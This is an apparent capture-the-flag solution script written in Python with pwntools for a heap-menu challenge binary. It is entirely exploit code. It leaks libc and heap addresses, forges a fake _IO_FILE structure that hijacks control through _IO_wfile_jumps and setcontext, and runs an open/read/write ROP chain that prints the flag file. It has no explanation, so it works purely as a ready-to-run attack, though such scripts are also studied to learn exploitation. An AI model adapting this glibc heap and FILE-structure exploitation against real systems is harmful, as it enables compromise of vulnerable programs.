1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151
| from pwn import * from ctypes import * context(arch = 'amd64', os = 'linux', log_level = 'debug') context.terminal = ['tmux','splitw','-h']
s = lambda content : io.send(content) sl = lambda content : io.sendline(content) sa = lambda content,send : io.sendafter(content, send) sla = lambda content,send : io.sendlineafter(content, send) rc = lambda number : io.recv(number) ru = lambda content : io.recvuntil(content) rcl = lambda : io.recvline()
def slog(name, address): print("\033[40;34m[+]\033[40;35m" + name + "==>" +hex(address) + "\033[0m")
def debug(cmd = 0): if cmd == 0: gdb.attach(io) else: gdb.attach(io, cmd) def get_address(mode = 0): if mode == 0: return u64(ru('\x7f')[-6:].ljust(8, b'\x00')) elif mode == 1: return u64(rc(6).ljust(8, b'\x00')) elif mode == 2: return int(rc(12), 16) elif mode == 3: return int(rc(16), 16) else : return 0
def choice(type_flag, content): sla("~~\n", type_flag + b" | r00t bbbQWBaaaaa" + content + b"QWXFdsfsfds")
def add(index, size, content): choice(b"CAT", b'\xff\xff\xff\xff' + b"$") sla("choice:\n", "1") sla("idx:\n", str(index)) sla("size:\n", str(size)) sa("content:\n", content)
def delete(index): choice(b"CAT", b"\xff\xff\xff\xff$") sla("choice:\n", "2") sla("idx:\n", str(index))
def show(index): choice(b"CAT", b"\xff\xff\xff\xff$") sla("choice:\n", "3") sla("idx:\n", str(index)) def mini(index, content): choice(b"CAT", b"\xff\xff\xff\xff$") sla("choice:\n", "4") sla("idx:\n", str(index)) sa("content:\n", content)
io = process("./pwn")
choice(b"LOGIN", b"admin")
add(0, 0x428, "hllllll") add(1, 0x438, "helloworld") add(2, 0x418, "fasdfas")
delete(0) add(3, 0x438, "mew mew mew") show(0) libc_base = get_address() - 0x21a0d0 show(0) ru('text:\n') rc(0x10) heap_base = get_address(1) - 0x290
slog("libc_base", libc_base) slog("heap_base", heap_base)
libc = ELF("./libc.so.6")
pop_rax = libc_base + 0x45eb0 pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx_r12 = libc_base + 0x11f497 pop_rcx = libc_base + 0x8c6bb syscall_ret = libc_base + next(libc.search(asm("syscall;ret"))) stderr_addr = libc_base + libc.sym['stderr'] open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write'] setcontext_addr = libc_base + libc.sym['setcontext'] close_addr = libc_base + libc.sym['close'] main_arena = libc_base ret = libc_base + 0x29cd6 slog("main_arena", main_arena) slog("stderr_addr", stderr_addr)
fake_IO_addr = heap_base + 0xb00 fake_IO_FILE = p64(0)*6 fake_IO_FILE += p64(1) + p64(0) #_IO_buf_end & _IO_save_base | .widedata->write_base fake_IO_FILE += p64(fake_IO_addr + 0xb0) #_IO_backup_base_ || .widedata->write_pt fake_IO_FILE += p64(setcontext_addr + 61) fake_IO_FILE = (fake_IO_FILE).ljust(0x58, b'\x00') #offset of _chain fake_IO_FILE += p64(0) #_chain fake_IO_FILE = (fake_IO_FILE).ljust(0x78, b'\x00') #offset of lock fake_IO_FILE += p64(heap_base + 0x200) #lock = writeble address fake_IO_FILE = (fake_IO_FILE).ljust(0x90, b'\x00') #offset of widedata fake_IO_FILE += p64(heap_base + 0xb30) #rax1 fake_IO_FILE = (fake_IO_FILE).ljust(0xb0, b'\x00') fake_IO_FILE += p64(1) #_mode = 1 fake_IO_FILE = (fake_IO_FILE).ljust(0xc8, b'\x00') #offset of vtable fake_IO_FILE += p64(libc_base + 0x2160c0 + 0x10) #vtable = _IO_wfile_jumps fake_IO_FILE += p64(0)*6 fake_IO_FILE += p64(fake_IO_addr + 0x40) #rax2 payload1 = fake_IO_FILE + p64(0)*7 payload1 += p64(heap_base + 0x24a0) + p64(ret) #fake heap rsp && rcx fake_head = p64(libc_base + 0x21a0d0)*2 + p64(heap_base + 0x290) + p64(stderr_addr - 0x20) mini(0, fake_head) delete(2) add(5, 0x418, payload1) delete(5) add(6, 0x438, "nihao")
fake_head = p64(libc_base + 0x21a0e0)*2 + p64(heap_base + 0x2040) + p64(heap_base + 0x2d50 + 0x3 - 0x20) add(7, 0x438, "small") add(8, 0x458, "./flag") add(9, 0x448, "big") orw = p64(pop_rdi) + p64(0) + p64(close_addr) orw += p64(pop_rdi) + p64(heap_base + 0x1bf0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret) orw += p64(pop_rdi) + p64(0) + p64(pop_rsi) +p64(heap_base + 0x200) + p64(pop_rdx_r12) + p64(0x30)*2+ p64(read_addr) orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx_r12) + p64(0x30)*2+ p64(write_addr) add(10, 0x458, orw)
debug()
delete(9) add(11, 0x458, "hole_10") mini(9, fake_head) delete(7) choice(b"CAT", b'\xff\xff\xff\xff' + b"$") sla("choice:\n", "1") sla("idx:\n", str(12)) sla("size:\n", str(0x458)) flag_txt = ru("}") print(flag_txt) io.interactive()
APACHE
|